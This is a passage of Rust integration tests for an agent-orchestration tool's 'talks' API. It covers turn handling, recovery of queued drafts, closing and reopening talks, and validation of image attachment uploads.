8103 "opening takes no agent turn: there is nothing yet to answer"
8104 );
8105
8106 let also_opened = f.post("/api/talks", Some("{}")).await;
8108 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8109
8110 let listed = f.get("/api/talks").await.json();
8111 assert_eq!(listed.as_array().unwrap().len(), 2);
8112 }
8113
8114 #[tokio::test]
8115 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8116 let tmp = TempDir::new().expect("tempdir");
8117 let repo = tmp.path().join("repo");
8118 std::fs::create_dir_all(&repo).expect("repo dir");
8119 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8120 std::fs::write(
8121 repo.join("magi.toml"),
8122 format!("{MOCK_AGENT_TOML}\n{second}"),
8123 )
8124 .expect("write magi.toml");
8125 let home = TempDir::new().expect("temp home");
8126 let talks = Talks::at(home.path().join("talks"));
8127 let ui = Arc::new(
8128 Ui::new(
8129 Queue::at(home.path().join("queue")),
8130 Questions::at(home.path().join("questions")),
8131 talks.clone(),
8132 home.path().join("runs"),
8133 home.path().to_path_buf(),
8134 repo.clone(),
8135 )
8136 .with_worktrees_root(home.path().join("wt")),
8137 );
8138 let cfg = config_for(&repo).await.expect("discover config");
8139 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8140 let id = talk.id.clone();
8141 let call = |agent: &str| {
8142 talk_agent(
8143 State(Arc::clone(&ui)),
8144 Path(id.clone()),
8145 Json(TalkAgent {
8146 agent: agent.to_owned(),
8147 }),
8148 )
8149 };
8150
8151 let unknown = call("nobody").await.expect_err("unknown agent");
8152 assert_eq!(
8153 unknown.status,
8154 StatusCode::BAD_REQUEST,
8155 "{}",
8156 unknown.message
8157 );
8158
8159 {
8160 let mut claimed = None;
8163 for _ in 0..200 {
8164 claimed = ui.begin_talk_turn(&id).expect("claim");
8165 if claimed.is_some() {
8166 break;
8167 }
8168 tokio::time::sleep(Duration::from_millis(10)).await;
8169 }
8170 let _busy = claimed.expect("free");
8171 let busy = call("second").await.expect_err("busy talk");
8172 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8173 }
8174 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8175
8176 let Json(view) = call("second").await.expect("switch");
8177 assert_eq!(view.talk.agent, "second");
8178 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8179 let saved = talks.get(&id).expect("reload");
8180 assert_eq!(saved.agent, "second");
8181 assert_eq!(saved.turns.len(), 1);
8182
8183 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8184 .await
8185 .expect("detail");
8186 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8187 assert_eq!(roster, ["mock", "second"]);
8188
8189 let mut closed = talks.get(&id).expect("reload");
8190 talk::close(&mut closed, &talks).expect("close");
8191 let refused = call("mock").await.expect_err("closed talk");
8192 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8193 }
8194
8195 #[tokio::test]
8196 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8197 let f = Fixture::start().await;
8198 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8199 let queue = f.queue();
8200 let mut mine = Task::new(
8201 "rename the loader".to_owned(),
8202 "rename the loader".to_owned(),
8203 PathBuf::from("/repo/magi"),
8204 Source::Agent {
8205 run: talk_id.clone(),
8206 node: "chat".to_owned(),
8207 },
8208 );
8209 queue.put(&mut mine).expect("file the task");
8210 let mut theirs = Task::new(
8211 "unrelated".to_owned(),
8212 "unrelated".to_owned(),
8213 PathBuf::from("/repo/magi"),
8214 Source::Human,
8215 );
8216 queue.put(&mut theirs).expect("file the task");
8217
8218 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8219 assert_eq!(res.status, 200, "{}", res.body);
8220 let body = res.json();
8221 assert_eq!(
8222 body["status"], "open",
8223 "filing a task does not close a talk"
8224 );
8225 let tasks = body["tasks"].as_array().expect("tasks array");
8226 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8227 assert_eq!(tasks[0]["id"], mine.id);
8228 }
8229
8230 #[tokio::test]
8231 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8232 let (_tmp, _repo, f) = talk_fixture().await;
8233 let id = f.post("/api/talks", None).await.json()["id"]
8234 .as_str()
8235 .expect("id")
8236 .to_owned();
8237
8238 let res = f
8239 .post(
8240 &format!("/api/talks/{id}/say"),
8241 Some(r#"{"text":"what does the queue module do?"}"#),
8242 )
8243 .await;
8244 assert_eq!(res.status, 202, "{}", res.body);
8245 let queued = res.json();
8246 let turns = queued["turns"].as_array().expect("turns array");
8247 assert_eq!(
8248 turns.len(),
8249 1,
8250 "the answer reflects only what is on disk the instant it is sent, \
8251 before the agent's turn - which can run for the whole of \
8252 `[graph] timeout_talk` - has a chance to land: {queued}"
8253 );
8254 assert_eq!(turns[0]["who"], "operator");
8255 assert_eq!(turns[0]["body"], "what does the queue module do?");
8256 assert_eq!(
8257 queued["thinking"], true,
8258 "the accepted response exposes the background turn claim: {queued}"
8259 );
8260
8261 let mut turns_after = 1;
8262 for _ in 0..SETTLE_STEPS {
8263 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8264 turns_after = detail["turns"].as_array().expect("turns array").len();
8265 if turns_after == 2 {
8266 break;
8267 }
8268 tokio::time::sleep(Duration::from_millis(10)).await;
8269 }
8270 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8271 }
8272
8273 #[tokio::test]
8300 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8301 let tmp = TempDir::new().expect("tempdir");
8302 let repo = tmp.path().join("repo");
8303 std::fs::create_dir_all(&repo).expect("repo dir");
8304 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8305 let home = TempDir::new().expect("temp home");
8306 let talks = Talks::at(home.path().join("talks"));
8307 let ui = Arc::new(
8308 Ui::new(
8309 Queue::at(home.path().join("queue")),
8310 Questions::at(home.path().join("questions")),
8311 talks.clone(),
8312 home.path().join("runs"),
8313 home.path().to_path_buf(),
8314 repo.clone(),
8315 )
8316 .with_worktrees_root(home.path().join("wt")),
8317 );
8318 let cfg = config_for(&repo).await.expect("discover config");
8319
8320 for delay in 0..40u32 {
8321 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8322 let id = talk.id.clone();
8323
8324 let handler = tokio::spawn(talk_say(
8325 State(Arc::clone(&ui)),
8326 Path(id.clone()),
8327 Ok(Json(NewTalkTurn {
8328 text: "what does the queue module do?".to_owned(),
8329 attachments: Vec::new(),
8330 })),
8331 ));
8332 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8333 handler.abort();
8334 let _ = handler.await;
8337
8338 let mut turns = 0;
8339 for _ in 0..SETTLE_STEPS {
8340 if let Ok(fresh) = talks.get(&id) {
8341 turns = fresh.turns.len();
8342 if turns != 1 {
8343 break;
8344 }
8345 }
8346 tokio::time::sleep(Duration::from_millis(10)).await;
8347 }
8348 assert_ne!(
8349 turns, 1,
8350 "delay {delay}: talk {id} recorded the operator's turn but \
8351 the agent never answered - the reply task was never \
8352 started after the handler future was dropped"
8353 );
8354 }
8355 }
8356
8357 #[tokio::test]
8402 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8403 let tmp = TempDir::new().expect("tempdir");
8404 let repo = tmp.path().join("repo");
8405 std::fs::create_dir_all(&repo).expect("repo dir");
8406 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8407 let home = TempDir::new().expect("temp home");
8408 let talks = Talks::at(home.path().join("talks"));
8409 let ui = Arc::new(
8410 Ui::new(
8411 Queue::at(home.path().join("queue")),
8412 Questions::at(home.path().join("questions")),
8413 talks.clone(),
8414 home.path().join("runs"),
8415 home.path().to_path_buf(),
8416 repo.clone(),
8417 )
8418 .with_worktrees_root(home.path().join("wt")),
8419 );
8420 let cfg = config_for(&repo).await.expect("discover config");
8421
8422 for attempt in 0..3u32 {
8423 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8424 let id = talk.id.clone();
8425 let turn_guard = ui
8428 .begin_talk_turn(&id)
8429 .expect("claim the turn")
8430 .expect("a fresh talk owes nobody a turn");
8431
8432 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8433 let (release_tx, release_rx) = std::sync::mpsc::channel();
8434 ui.set_busy_queue_gate(BusyQueueGate {
8435 reached: reached_tx,
8436 release: release_rx,
8437 });
8438
8439 let handler = tokio::spawn(talk_say(
8440 State(Arc::clone(&ui)),
8441 Path(id.clone()),
8442 Ok(Json(NewTalkTurn {
8443 text: "what does the queue module do?".to_owned(),
8444 attachments: Vec::new(),
8445 })),
8446 ));
8447
8448 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8453 .await
8454 .unwrap_or_else(|_| {
8455 panic!(
8456 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8457 )
8458 })
8459 .expect("the busy branch dropped the gate without using it");
8460
8461 let running = talks.get(&id).expect("reload talk");
8468 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8469
8470 handler.abort();
8474 let _ = handler.await;
8475
8476 let _ = release_tx.send(());
8482
8483 let mut fresh = talks.get(&id).expect("reload talk");
8486 for _ in 0..SETTLE_STEPS {
8487 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8488 break;
8489 }
8490 tokio::time::sleep(Duration::from_millis(10)).await;
8491 fresh = talks.get(&id).expect("reload talk");
8492 }
8493 assert!(
8494 fresh.pending.is_empty() && fresh.turns.len() == 2,
8495 "attempt {attempt}: talk {id} left the operator's text queued \
8496 with no drainer - the reclaimed turn was dropped along with \
8497 the handler future (pending {:?}, {} turns)",
8498 fresh.pending,
8499 fresh.turns.len()
8500 );
8501 }
8502 }
8503
8504 #[tokio::test]
8505 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8506 let (_tmp, _repo, f) = talk_fixture().await;
8507 let id = f.post("/api/talks", None).await.json()["id"]
8508 .as_str()
8509 .expect("id")
8510 .to_owned();
8511 let store = f.talks();
8512 let mut recovered = store.get(&id).expect("opened talk");
8513 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8514 .expect("persist pending draft without a live turn");
8515
8516 let edited = f
8517 .post(
8518 &format!("/api/talks/{id}/pending/edit"),
8519 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8520 )
8521 .await;
8522 assert_eq!(edited.status, 200, "{}", edited.body);
8523 assert!(edited.json()["thinking"].as_bool().unwrap());
8524
8525 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8526 for _ in 0..SETTLE_STEPS {
8527 if detail["turns"].as_array().expect("turns").len() == 2 {
8528 break;
8529 }
8530 tokio::time::sleep(Duration::from_millis(10)).await;
8531 detail = f.get(&format!("/api/talks/{id}")).await.json();
8532 }
8533 let turns = detail["turns"].as_array().expect("turns");
8534 assert_eq!(
8535 turns.len(),
8536 2,
8537 "the recovered draft must run once: {detail}"
8538 );
8539 assert_eq!(turns[0]["body"], "corrected");
8540 assert_eq!(detail["pending"], "");
8541 }
8542
8543 #[tokio::test]
8544 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8545 let tmp = TempDir::new().expect("tempdir");
8546 let repo = tmp.path().join("repo");
8547 std::fs::create_dir_all(&repo).expect("repo dir");
8548 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8549 let f = Fixture::with_repo(repo).await;
8550 let id = f.post("/api/talks", None).await.json()["id"]
8551 .as_str()
8552 .expect("id")
8553 .to_owned();
8554 let store = f.talks();
8555 let mut recovered = store.get(&id).expect("opened talk");
8556 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8557 .expect("persist pending draft without a live turn");
8558
8559 let refused = f
8560 .post(
8561 &format!("/api/talks/{id}/say"),
8562 Some(r#"{"text":"new message"}"#),
8563 )
8564 .await;
8565 assert_eq!(refused.status, 409, "{}", refused.body);
8566 assert!(refused.body.contains("resume"), "{}", refused.body);
8567 let saved = store.get(&id).expect("draft remains after refusal");
8568 assert!(saved.turns.is_empty());
8569 assert_eq!(saved.pending, "saved before restart");
8570
8571 let say_path = format!("/api/talks/{id}/say");
8572 let (first, second) = tokio::join!(
8573 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8574 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8575 );
8576 assert_eq!(first.status, 409, "{}", first.body);
8577 assert_eq!(second.status, 409, "{}", second.body);
8578 let saved = store
8579 .get(&id)
8580 .expect("draft remains after concurrent refusals");
8581 assert!(saved.turns.is_empty());
8582 assert_eq!(saved.pending, "saved before restart");
8583
8584 let resumed = f
8585 .post(&format!("/api/talks/{id}/pending/resume"), None)
8586 .await;
8587 assert_eq!(resumed.status, 202, "{}", resumed.body);
8588 let duplicate = f
8589 .post(&format!("/api/talks/{id}/pending/resume"), None)
8590 .await;
8591 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8592
8593 for _ in 0..SETTLE_STEPS {
8594 if store.get(&id).expect("talk").turns.len() == 2 {
8595 break;
8596 }
8597 tokio::time::sleep(Duration::from_millis(10)).await;
8598 }
8599 let finished = store.get(&id).expect("finished talk");
8600 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8601 assert_eq!(finished.turns[0].body, "saved before restart");
8602 assert!(finished.pending.is_empty());
8603 }
8604
8605 #[tokio::test]
8606 async fn an_image_only_recovered_draft_resumes_without_text() {
8607 let (_tmp, _repo, f) = talk_fixture().await;
8608 let id = f.post("/api/talks", None).await.json()["id"]
8609 .as_str()
8610 .expect("id")
8611 .to_owned();
8612 let uploaded = f
8613 .post_bytes(
8614 &format!("/api/talks/{id}/attachments"),
8615 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8616 PNG_BYTES,
8617 )
8618 .await;
8619 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8620 let attachment = f
8621 .talks()
8622 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8623 .expect("attachment metadata")
8624 .expect("stored attachment");
8625 let store = f.talks();
8626 let mut recovered = store.get(&id).expect("opened talk");
8627 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8628
8629 let resumed = f
8630 .post(&format!("/api/talks/{id}/pending/resume"), None)
8631 .await;
8632 assert_eq!(resumed.status, 202, "{}", resumed.body);
8633 for _ in 0..SETTLE_STEPS {
8634 if store.get(&id).expect("talk").turns.len() == 2 {
8635 break;
8636 }
8637 tokio::time::sleep(Duration::from_millis(10)).await;
8638 }
8639 let finished = store.get(&id).expect("finished talk");
8640 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8641 assert!(finished.turns[0].body.is_empty());
8642 assert_eq!(finished.turns[0].attachments.len(), 1);
8643 assert!(finished.pending_attachments.is_empty());
8644 }
8645
8646 #[tokio::test]
8647 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8648 let (_tmp, _repo, f) = talk_fixture().await;
8649 let id = f.post("/api/talks", None).await.json()["id"]
8650 .as_str()
8651 .expect("id")
8652 .to_owned();
8653 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8654 assert_eq!(closed.status, 200, "{}", closed.body);
8655 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8656 .expect("serialize closed talk");
8657 for (path, body) in [
8658 (format!("/api/talks/{id}/pending/resume"), None),
8659 (
8660 format!("/api/talks/{id}/pending/clear"),
8661 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8662 ),
8663 (
8664 format!("/api/talks/{id}/pending/edit"),
8665 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8666 ),
8667 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8668 ] {
8669 let response = f.post(&path, body).await;
8670 assert_eq!(response.status, 409, "{}", response.body);
8671 }
8672 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8673 .expect("serialize closed talk");
8674 assert_eq!(
8675 after_clear, before_clear,
8676 "clear must not rewrite a closed talk"
8677 );
8678 }
8679
8680 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8683
8684 #[tokio::test]
8685 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8686 let tmp = TempDir::new().expect("tempdir");
8687 let repo = tmp.path().join("repo");
8688 std::fs::create_dir_all(&repo).expect("repo dir");
8689 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8690 let f = Fixture::with_repo(repo).await;
8691 let id_a = f.post("/api/talks", None).await.json()["id"]
8692 .as_str()
8693 .unwrap()
8694 .to_owned();
8695 let id_b = f.post("/api/talks", None).await.json()["id"]
8696 .as_str()
8697 .unwrap()
8698 .to_owned();
8699
8700 let a = f
8701 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8702 .await;
8703 assert_eq!(a.status, 202, "{}", a.body);
8704 assert_eq!(a.json()["thinking"], true);
8705 let b = f
8706 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8707 .await;
8708 assert_eq!(b.status, 202, "{}", b.body);
8709 assert_eq!(b.json()["thinking"], true);
8710
8711 let listed = f.get("/api/talks").await.json();
8712 for id in [&id_a, &id_b] {
8713 let view = listed
8714 .as_array()
8715 .unwrap()
8716 .iter()
8717 .find(|talk| talk["id"] == *id)
8718 .unwrap();
8719 assert_eq!(view["thinking"], true, "{listed}");
8720 }
8721 let repeated = f
8722 .post(
8723 &format!("/api/talks/{id_a}/say"),
8724 Some(r#"{"text":"again"}"#),
8725 )
8726 .await;
8727 assert_eq!(repeated.status, 202, "{}", repeated.body);
8728 assert_eq!(repeated.json()["pending"], "again");
8729 }
8730
8731 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8734
8735 #[tokio::test]
8736 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8737 let f = Fixture::start().await;
8738 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8739
8740 let res = f
8741 .post_bytes(
8742 &format!("/api/talks/{id}/attachments"),
8743 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8744 PNG_BYTES,
8745 )
8746 .await;
8747 assert_eq!(res.status, 201, "{}", res.body);
8748 let body = res.json();
8749 assert_eq!(body["name"], "shot.png");
8750 assert_eq!(body["mime"], "image/png");
8751 assert_eq!(body["bytes"], PNG_BYTES.len());
8752 let att_id = body["id"].as_str().expect("id").to_owned();
8753 assert_eq!(
8754 att_id.len(),
8755 32,
8756 "the id must never be a client-suppliable path: {att_id}"
8757 );
8758
8759 let got = f
8760 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8761 .await;
8762 assert_eq!(got.status, 200, "{}", got.body);
8763 assert_eq!(got.header("content-type"), Some("image/png"));
8764 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8765 assert_eq!(got.bytes, PNG_BYTES);
8766 }
8767
8768 #[tokio::test]
8769 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8770 let f = Fixture::start().await;
8771 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8772
8773 let svg = f
8776 .post_bytes(
8777 &format!("/api/talks/{id}/attachments"),
8778 &[("Content-Type", "image/svg+xml")],
8779 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8780 )
8781 .await;
8782 assert!(
8783 (400..500).contains(&svg.status),
8784 "svg must be refused: {} {}",
8785 svg.status,
8786 svg.body
8787 );
8788 assert!(svg.body.contains("SVG"), "{}", svg.body);
8789
8790 let text = f
8791 .post_bytes(
8792 &format!("/api/talks/{id}/attachments"),
8793 &[("Content-Type", "text/plain")],
8794 b"just some text",
8795 )
8796 .await;
8797 assert!(
8798 (400..500).contains(&text.status),
8799 "an unlisted type must be refused: {} {}",
8800 text.status,
8801 text.body
8802 );
8803
8804 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8807 let big = f
8808 .post_bytes(
8809 &format!("/api/talks/{id}/attachments"),
8810 &[("Content-Type", "image/png")],
8811 &oversized,
8812 )
8813 .await;
8814 assert_eq!(
8815 big.status,
8816 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8817 "{}",
8818 big.body
8819 );
8820 }
8821
8822 #[tokio::test]
8823 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8824 let f = Fixture::start().await;
8825 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8826
8827 let res = f
8830 .post_bytes(
8831 &format!("/api/talks/{id}/attachments"),
8832 &[("Content-Type", "image/png")],
8833 b"<html>not a picture</html>",
8834 )
8835 .await;
8836 assert!((400..500).contains(&res.status), "{}", res.body);
8837 }
8838
8839 #[tokio::test]
8840 async fn an_unknown_attachment_id_is_a_404() {
8841 let f = Fixture::start().await;
8842 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8843
8844 let res = f
8845 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8846 .await;
8847 assert_eq!(res.status, 404, "{}", res.body);
8848 }
8849
8850 #[tokio::test]
8851 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8852 let f = Fixture::start().await;
8853 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8854
8855 let uploaded = f
8856 .post_bytes(
8857 &format!("/api/talks/{id}/attachments"),
8858 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8859 PNG_BYTES,
8860 )
8861 .await;
8862 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8863 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8864
8865 let res = f
8866 .post(
8867 &format!("/api/talks/{id}/say"),
8868 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8869 )
8870 .await;
8871 assert_eq!(res.status, 202, "{}", res.body);
8872 let queued = res.json();
8873 let turns = queued["turns"].as_array().expect("turns array");
8874 assert_eq!(
8875 turns.len(),
8876 1,
8877 "an empty body with an attachment is still a turn: {queued}"
8878 );
8879 assert_eq!(turns[0]["who"], "operator");
8880 assert_eq!(turns[0]["body"], "");
8881 let atts = turns[0]["attachments"]
8882 .as_array()
8883 .expect("attachments array");
8884 assert_eq!(atts.len(), 1);
8885 assert_eq!(atts[0]["id"], att_id);
8886 assert_eq!(atts[0]["mime"], "image/png");
8887
8888 let on_disk = f.talks().get(&id).expect("get");
8891 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8892 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8893 }
8894
8895 #[tokio::test]
8896 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8897 let f = Fixture::start().await;
8898 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8899
8900 let res = f
8901 .post(
8902 &format!("/api/talks/{id}/say"),
8903 Some(&format!(
8904 r#"{{"text":"hi","attachments":["{}"]}}"#,
8905 "a".repeat(32)
8906 )),
8907 )
8908 .await;
8909 assert!((400..500).contains(&res.status), "{}", res.body);
8910 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8911
8912 let on_disk = f.talks().get(&id).expect("get");
8913 assert!(
8914 on_disk.turns.is_empty(),
8915 "a rejected attachment id must not partially record the turn: {:?}",
8916 on_disk.turns
8917 );
8918 }
8919
8920 #[tokio::test]
8921 async fn talk_close_makes_the_talk_refuse_further_turns() {
8922 let f = Fixture::start().await;
8923 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8924
8925 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8926 assert_eq!(closed.status, 200, "{}", closed.body);
8927 assert_eq!(closed.json()["status"], "closed");
8928
8929 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8931 assert_eq!(closed_again.status, 200);
8932 assert_eq!(closed_again.json()["status"], "closed");
8933
8934 let said = f
8935 .post(
8936 &format!("/api/talks/{id}/say"),
8937 Some(r#"{"text":"too late"}"#),
8938 )
8939 .await;
8940 assert_eq!(said.status, 409, "{}", said.body);
8941 }
8942
8943 #[tokio::test]
8944 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8945 let (_tmp, _repo, f) = talk_fixture().await;
8946 let id = f.post("/api/talks", None).await.json()["id"]
8947 .as_str()
8948 .expect("id")
8949 .to_owned();
8950 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8951 assert_eq!(closed.status, 200, "{}", closed.body);
8952
8953 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8954 assert_eq!(reopened.status, 200, "{}", reopened.body);
8955 assert_eq!(reopened.json()["status"], "open");
8956
8957 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8959 assert_eq!(reopened_again.status, 200);
8960 assert_eq!(reopened_again.json()["status"], "open");
8961
8962 let said = f
8963 .post(
8964 &format!("/api/talks/{id}/say"),
8965 Some(r#"{"text":"still there?"}"#),
8966 )
8967 .await;
8968 assert_eq!(
8969 said.status, 202,
8970 "a reopened talk accepts turns again: {}",
8971 said.body
8972 );
8973 }
8974
8975 #[tokio::test]
8976 async fn talk_reopen_on_an_unknown_id_is_404() {
8977 let f = Fixture::start().await;
8978 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8979 assert_eq!(res.status, 404, "{}", res.body);
8980 }
8981
8982 #[tokio::test]
8983 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8984 let f = Fixture::start().await;
8985 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8986
8987 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8988 assert_eq!(deleted.status, 204, "{}", deleted.body);
8989
8990 let after = f.get(&format!("/api/talks/{id}")).await;
8991 assert_eq!(after.status, 404, "{}", after.body);
8992
8993 let listed = f.get("/api/talks").await.json();
8994 assert!(
8995 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8996 "a deleted talk must not linger in the list: {listed}"
8997 );
8998 }
8999
9000 #[tokio::test]
9001 async fn talk_delete_on_an_unknown_id_is_404() {
9002 let f = Fixture::start().await;
9003 let res = f.delete("/api/talks/nonexistent-id").await;
9004 assert_eq!(res.status, 404, "{}", res.body);
9005 }
9006
9007 #[tokio::test]
9011 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9012 let f = Fixture::start().await;
9013 let (a, b, gone) = (
9014 "20260902-140501-aaaa",
9015 "20260902-140502-bbbb",
9016 "20260902-140503-cccc",
9017 );
9018 write_run(&f.runs(), a, RunStatus::Stalled);
9019 let mut review = RunState::new(
9020 PathBuf::from("/repo/magi"),
9021 "main".to_owned(),
9022 "0123456789abcdef".to_owned(),
9023 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9024 .to_owned(),
9025 Config::default(),
9026 );
9027 review.id = b.to_owned();
9028 review.status = RunStatus::Merged;
9029 write_state(&f.runs(), &review);
9030
9031 let mut task = Task::new(
9032 "retry".to_owned(),
9033 "Do the thing".to_owned(),
9034 PathBuf::from("/repo/magi"),
9035 Source::Human,
9036 );
9037 task.start(a.to_owned());
9038 task.stall("quota");
9039 task.start(a.to_owned());
9040 task.start(b.to_owned());
9041 task.start(gone.to_owned());
9042 f.queue().put(&mut task).expect("file the task");
9043
9044 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9045 assert_eq!(res.status, 200, "{}", res.body);
9046 let v = res.json();
9047 let h = v["history"].as_array().expect("history");
9048 assert_eq!(h.len(), 4, "{v}");
9049 assert_eq!(h[0]["kind"], "competition");
9050 assert_eq!(h[0]["status"], "stalled");
9051 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9052 assert_eq!(h[1]["kind"], "resume", "{v}");
9053 assert!(
9054 h[0]["outcome"]
9055 .as_str()
9056 .unwrap()
9057 .contains("unknown. Pass #2"),
9058 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9059 );
9060 assert!(
9061 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9062 "{v}"
9063 );
9064 assert!(
9065 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9066 "an unrecorded cause must not be narrated as an operator park: {v}"
9067 );
9068 assert_eq!(h[2]["kind"], "review");
9069 assert!(
9070 h[2]["description"]
9071 .as_str()
9072 .unwrap()
9073 .contains("magi/aaaa/A")
9074 );
9075 assert_eq!(h[2]["status"], "merged");
9076 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9077 assert_eq!(v["runs_unreadable"], 1);
9078 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9079 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9080 assert_eq!(nodes[4]["note"], "unreadable");
9081 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9082 assert_eq!(v["instruction"], "Do the thing");
9083 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9084
9085 let run = f.get(&format!("/api/runs/{a}")).await.json();
9087 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9088
9089 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9090 }
9091
9092 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9093 let mut s = RunState::new(
9094 PathBuf::from("/repo/magi"),
9095 "main".to_owned(),
9096 "0123456789abcdef".to_owned(),
9097 "Do it".to_owned(),
9098 Config::default(),
9099 );
9100 s.status = status;
9101 edit(&mut s);
9102 s
9103 }
9104
9105 fn flow_task(runs: &[&str]) -> Task {
